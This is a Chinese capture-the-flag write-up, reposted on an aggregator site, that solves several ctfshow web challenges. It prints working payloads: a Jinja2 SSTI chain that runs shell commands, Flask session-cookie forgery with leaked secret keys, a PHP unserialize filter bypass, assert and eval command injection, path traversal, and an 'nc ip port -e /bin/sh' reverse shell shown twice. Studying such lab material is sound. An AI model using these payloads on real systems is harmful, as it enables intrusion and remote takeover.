我的编程空间,编程开发者的网络收藏夹
学习永远不晚

ctfshow 愚人杯&菜狗杯部分题目(flasksession伪造&ssti)

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

ctfshow 愚人杯&菜狗杯部分题目(flasksession伪造&ssti)

 

目录

<1>愚人杯

(1) easy_signin

(2) easy_ssti(无过滤ssti)

(3) easy_flask(flash-session伪造)

(4) easy_php(C:开头序列化数据)

<2> 菜狗杯

(1) 抽老婆(flask_session伪造)

 (2) 一言既出,驷马难追(intval)

 (3) 传说之下(js控制台)

(4) 算力超群(python eval命令执行)

(5) 茶歇区(整形溢出)

​编辑


<1>愚人杯

(1) easy_signin

img参数 传入 index.php的base64编码

然后复制图片base64编码

解码得到flag

";}else{$image = base64_encode("face.png");header("location:/?img=".$image);}

(2) easy_ssti(无过滤ssti)

from flask import Flaskfrom flask import render_template_string,render_templateapp = Flask(__name__)@app.route('/hello/')def hello(name=None):    return render_template('hello.html',name=name)@app.route('/hello/')def hellodear(name):    if "ge" in name:        return render_template_string('hello %s' % name)    elif "f" not in name:        return render_template_string('hello %s' % name)    else:        return 'Nonononon'
http://4de9f549-c52a-44a4-8839-1e14dddf604e.challenge.ctf.show/hello/{{''.__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__.__builtins__.eval("__import__('os').popen('cd ..;cat *lag').read()")}}

(3) easy_flask(flash-session伪造)

 得到 SECRET_KEY:'S3cr3tK3y'

根据提示:But,there are some things I only want to give to users whose role is admin.

 应该是 需要构造JWT里role为admin身份即可

利用flask_session_cookie_manager3.py 伪造JWT

{"loggedin": true,"role": "admin","username": "a"}

eyJsb2dnZWRpbiI6dHJ1ZSwicm9sZSI6ImFkbWluIiwidXNlcm5hbWUiOiJhIn0.ZChNpw.V3E8F9wjt306gFpc0_5hA7bAl9Y 

...... 怎么是假的  不过 也给我们提供了下载路由  下载一下 app.py 成功得到源码

得到了 ........ 隐藏的内容

users = {    'admin': {'password': 'LKHSADSFHLA;KHLK;FSDHLK;ASFD', 'role': 'admin'}}@app.route('/download/')def download():    if 'loggedin' in session:        filename = request.args.get('filename')        if 'filename' in request.args:                          return send_file(filename, as_attachment=True)      return redirect(url_for('login'))@app.route('/hello/')def hello_world():    try:        s = request.args.get('eval')        return f"hello,{eval(s)}"    except Exception as e:        print(e)        pass            return "hello"

/hello路由存在 eval() 可以命令执行

 __import__('os').system('nc ip port -e /bin/sh')

(4) easy_php(C:开头序列化数据)

ctfshow);    }}$data = $_GET['1+1>2'];if(!preg_match("/^[Oa]:[\d]+/i", $data)){    unserialize($data);}?>

正则过滤了 以 O:数字 或者a:数字 开头的,明显 过滤了 平常的类与数组的序列化格式数据

?1%2b1>2=C:11:"ArrayObject":67:{x:i:0;O:7:"ctfshow":1:{s:7:"ctfshow";s:12:"cat /f1agaaa";};m:a:0:{}}

之前攻防世界 Web_php_unserialize 就可以通过 O:+7 这种形式绕过 /[oc]:\d+:/i 的正则  但这里因为是php7.几的版本 因此不能利用 O:+7绕过,反序列化不了。 如果是5.几 是可以的

<2> 菜狗杯

(1) 抽老婆(flask_session伪造)

存在 /download路由 可以任意文件下载,之过滤了flag

根据报错 得到当前路径 /app/static/img/

 目录遍历,下载app.py  访问:/download?file=../../app.py

from flask import *import osimport randomfrom flag import flag#初始化全局变量app = Flask(__name__)app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'@app.route('/', methods=['GET'])def index():      return render_template('index.html')@app.route('/getwifi', methods=['GET'])def getwifi():    session['isadmin']=False    wifi=random.choice(os.listdir('static/img'))    session['current_wifi']=wifi    return render_template('getwifi.html',wifi=wifi)@app.route('/download', methods=['GET'])def source():     filename=request.args.get('file')    if 'flag' in filename:        return jsonify({"msg":"你想干什么?"})    else:        return send_file('static/img/'+filename,as_attachment=True)@app.route('/secret_path_U_never_know',methods=['GET'])def getflag():    if session['isadmin']:        return jsonify({"msg":flag})    else:        return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})if __name__ == '__main__':    app.run(host='0.0.0.0',port=80,debug=True)

可以看见SECRET_KEY : 'tanji_is_A_boy_Yooooooooooooooooooooo!'

当前session为:eyJjdXJyZW50X3dpZmkiOiJhZjE2ZWMxMmZmYTUwZDQ1MGJjYjUyNTQ1NjJjYmY4Zi5qcGciLCJpc2FkbWluIjpmYWxzZX0.ZCgl0g.cvGaUTCW77a8qu5VaFee5OsFyxI 

我们应该利用SECRET_KEY flask 伪造session 为admin

github上有对应项目:flask-session-cookie-manager: Flask Session Cookie Decoder/Encoder

 拿伪造好的session 去访问 /secret_path_U_never_know

python3 flask_session_cookie_manager3.py encode -s 'tanji_is_A_boy_Yooooooooooooooooooooo!' -t "{'isadmin': True}"

 (2) 一言既出,驷马难追(intval)

利用断言,可以想办法构造一个为真的值绕过assert 或者直接利用assert达到rce

?num=114514)==1%20or%20system(%27ls%27);%23

?num=114514);(1919810

?num=114514%2b1919810-114514    %2b是+

 (3) 传说之下(js控制台)

看js源码 发现创建了一个 Game对象,里面记录的 分数 score

 在控制台输入: Game.score=2077 然后玩游戏吃一个果子就行

(4) 算力超群(python eval命令执行)

 b变量没有任何校验,直接import os模块,system命令执行反弹shell

__import__('os').system('nc ip port -e /bin/sh')

(5) 茶歇区(整形溢出)

64位的有符号数表示的最大范围是 2^63-1 = 9223372036854775807 19位数

但是此时这里进行 x10 运算,溢出太多也没有用,所以我们需要传入18位数,这样刚好溢出

例如: 932337203685477580

传两次得到flag

来源地址:https://blog.csdn.net/weixin_63231007/article/details/129888700

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

ctfshow 愚人杯&菜狗杯部分题目(flasksession伪造&ssti)

下载Word文档到电脑,方便收藏和打印~

下载Word文档

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录